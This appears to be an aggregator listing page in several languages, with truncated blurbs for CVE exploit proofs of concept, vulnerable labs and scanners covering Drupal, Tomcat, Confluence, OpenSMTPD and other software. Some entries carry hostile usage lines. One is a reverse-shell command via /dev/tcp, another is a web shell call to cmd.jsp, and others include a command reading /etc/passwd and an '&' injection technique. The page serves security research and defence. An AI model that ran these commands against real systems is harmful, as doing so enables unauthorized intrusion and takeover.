CVE-2025-61304

CVE-2025-61304 「Dynatrace ActiveGate pingエクステンション（バージョン1.016まで）における、細工されたIPアドレスを介したOSコマンドインジェクションの脆弱性」 内部的に、pingエクステンションはWindowsのコマンドプロンプトを使用してpingを実行しています。テスト対象ホストの入力フィールドは1024文字の長さです。IPアドレスの後に'&'を使用するだけで、ActiveGateに実行させる追加コマンドを記述できます。 この脆弱性はDynatraceに報告され、以下のコミットで修正されました：...

PHP-8.1.0-dev-Backdoor

PHP 8.1.0-dev User-Agentt 后门远程代码执行（RCE） 严重性： 严重（CVSS 等效值：10.0） 漏洞类型： 供应链后门 / 远程代码执行（RCE） 受影响软件： PHP 8.1.0-dev（仅限开发构建版本） 攻击向量： 远程（未认证） 是否需要认证： 否 用户交互： 无 影响： 系统完全沦陷 概述 PHP 8.1.0-dev User-Agentt 后门 是开源软件历史上最臭名昭著的供应链入侵事件之一。与源于编程错误的传统漏洞不同，此问题源于恶意代码被故意插入 PHP 官方源代码仓库 。 该后门出现在 2021 年 3 月 期间的 PHP 8.1.0-de...

cve-2018-7600-drupalgeddon2-lab

CVE-2018-7600 Drupalgeddon2 脆弱性ラボ 脆弱なDrupal 7.56環境をDockerでデプロイし、CVE-2018-7600（Drupalgeddon2）の悪用を実演する教育用ラボです。 このプロジェクトは、実際の脆弱性評価ワークフローをシミュレートし、以下を含みます： 脆弱環境のセットアップ 検出（スキャナー） 悪用（RCE） ペイロード分析 ドキュメント 脆弱性の概要 CVE-2018-7600（Drupalgeddon2）は、Drupal CMSにおける重大なリモートコード実行（RCE）脆弱性です。 この問題はDrupalのForm...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability-PoC

💻 CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability-PoC 🧩 Resumen Este proyecto reproduce el comportamiento de MonikerLink CVE-2024-21413 en un entorno TryHackMe completamente aislado para mostrar cómo ciertos formatos de hipervínculo pueden hacer que Outlook procese un enlace ...

react2shell-scanner-CVE-2025-55182

Escáner Enterprise React2Shell Escáner de vulnerabilidades de alta fidelidad para CVE-2025-55182 y CVE-2025-66478 - Vulnerabilidades de ejecución remota de código en React Server Components / Next.js. 📖 Para un análisis técnico detallado, mecánicas de explotación y datos IOC,...

CVE-2020-9484

CVE-2020-9484 Apache Tomcat リモートコード実行 CVE-2020-9484 影響を受けるバージョン: Apache Tomcat 10.x 10.0.0-M5 Apache Tomcat 9.x 9.0.35 Apache Tomcat 8.x 8.5.55 Apache Tomcat 7.x 7.0.104...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access および Identity Manager の SSTI 経由の RCE. CVE-2022-22954 - PoC SSTI 使用方法: root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help このヘルプメッセージを表示して終了 -m SETMODE, --mode SETMODE 利用可能なモード: shodan | file | manual -i IP, --ip ...

CVE-2024-21762-Checker

CVE-2024-21762-Checker このスクリプトは、Fortinet SSL VPNのリモートコード実行脆弱性CVE-2024-21762のスキャンを行います。特定のリクエストを送信し、その応答を分析することで、指定されたサーバーがこのCVEの影響を受けるかどうかをチェックします。 詳細については、このBishop Foxのブログ記事を参照してください。 公開エクスプロイトの日付: 2024/02/28 影響を受けるバージョン: FortiOS 6.0 ～ 7.4.2 FortiOSバージョン| 影響を受けるバージョン| 推奨される対応 ---|---|--- FortiOS...

CVE-2022-22963

CVE-2022-22963 Spring Cloud Function のバージョン 3.1.6、3.2.2 およびそれ以前のバージョンでは、ルーティング機能を使用する際に、ユーザーが特別に細工された SpEL をルーティング式として提供することが可能であり、その結果、リモートコード実行やローカルリソースへのアクセスが生じる可能性があります。 PoC リポジトリをクローンする root@kitploit: git clone https://github.com/jrbH4CK/CVE-2022-22963.git フォルダに入る root@kitploit: cd...

CVE-2021-40444

CVE-2021-40444 PoC CVE-2021-40444 Microsoft Office Word Remote Code Execution を悪用する悪意のある docx 生成ツール このスクリプトの作成は、実際の攻撃で使用されたサンプル: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 docx ファイル に対するリバースエンジニアリングに基づいています。 最初に lcab をインストールする必要があります sudo apt-get install lcab 手動での再現手順は...

CVE-2022-29465

CVE-2022-29464 root@kitploit: go run main.go 请输入目标地址, 如 https://127.0.0.1 https://127.0.0.1:9443 https://127.0.0.1:9443/authenticationendpoint/cmd.jsp?cmd=id...

cve-2025-8110-GOGS-RCE

GOGS RCE cve-2025-8110 Gogs 是一个轻量级、自托管的 Git 服务，类似于 GitHub 的私有版本，旨在轻松运行于低资源服务器上。CVE-2025-8110 漏洞是一个严重的安全缺陷，攻击者可以通过使用符号链接绕过路径限制。通过上传一个指向 .api/config 的恶意链接，攻击者可以利用 Gogs API 嵌入一个包含 sshCommand 参数的恶意配置文件，从而在主机服务器上实现远程代码执行 RCE。 用法 1. 将此仓库克隆到本地： root@kitploit: git clone...

Spring4shell-CVE-2022-22965-POC

Spring4shell RCE 脆弱性 この脆弱性は Spring Core に影響し、攻撃者が特別に細工された HTTP リクエストを送信することで、ライブラリの HTTP リクエストパーサーの保護をバイパスし、リモートコード実行を引き起こす可能性があります。 詳細情報はこちら この脆弱性が悪用されるためには、いくつかの条件を満たす必要があります JDK 9 以降を使用している Apache Tomcat をサーブレットコンテナとして使用している 従来の WAR としてパッケージ化されている（Spring Boot 実行可能 jar とは対照的） spring-webmvc または...

CVE-2020-16898-EXP-POC

CVE-2020-16898 CVE-2020-16898 Windows TCP/IP リモートコード実行脆弱性 EXP&POC 再現 forforever：https://www.cnblogs.com/forforever/p/13846077.html POC CVE-2020-16898Checker-poc コマンド： 管理者として PowerShell/CMD を起動 root@kitploit: Powershell.exe -ExecutionPolicy UnRestricted -File .\CVE-2020-16898-poc.ps1 EXP...

CVE-2019-15642

CVE-2019-15642 Ejecución Remota de Código en Webmin autenticado Uso en python: python CVE-2019-15642.py https://xxx.xxx.xxx:10000 "cat /etc/passwd" 0x01 docker para Webmin cd /vulhub/webmin/CVE-2019-15107 docker-compose up -d root@9460493fa985:/ passwd root Webmin usuario=root,contraseña=root...

CVE-2020-7247

CVE-2020-7247 该漏洞存在于OpenBSD的邮件服务器OpenSMTPD的“smtpmailaddr”函数中，影响OpenBSD 6.6版本。攻击者可利用该漏洞以root用户身份执行任意shell命令，例如“sleep 66”。 如何使用？ python3 getShell.py 如果需要反弹shell，可以这样运行： python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要提示 根据实际情况修改此利用脚本中的某些内容，如RCPT to等（如有需要）。 更多详细解释请参阅这篇文章：...

nextjs-security-scanner

English version: README.md nextjs-security-scanner CVE-2025-55182 React2Shell および認証情報の漏洩を Next.js プロジェクトで検出する Bash スクリプト。依存パッケージなし。 CVE-2025-55182: React2Shell CVSS: 10.0 CRITICAL | CWE-502: 信頼できないデータのデシリアライゼーション | SNORT SID: 65554 Next.js Server Components...

Log4j-RCE-Scanner

...

CVE-2021-26084_Confluence

CVE-2021-26084 - Confluence 预授权 RCE OGNL 注入 使用方法 root@kitploit: usage: cve-2021-26084confluencerce.py -h --url URL --cmd CMD --shell CVE-2021-26084 - Confluence Pre-Auth RCE OGNL injection optional arguments: -h, --help show this help message and exit --url URL, -u URL Target Url --cmd CMD, -c CM...

CVE-2026-42945

CVE-2026-42945 セキュリティチェッカーツール これは、防御および内部ネットワーク調査向けの CVE-2026-42945 静的チェッカーツールです。NGINX の ngxhttprewritemodule 関連設定に高リスクの rewrite の組み合わせが存在するかどうかを確認します。 このプロジェクトは脆弱性の悪用コードを提供せず、悪意のある HTTP リクエストを送信せず、クラッシュやリモートコード実行を引き起こそうとしません。ローカルの NGINX 設定ファイルを読み取り、セキュリティチームがアップグレードや設定の修正が必要かどうかを判断するのに役立ちます。...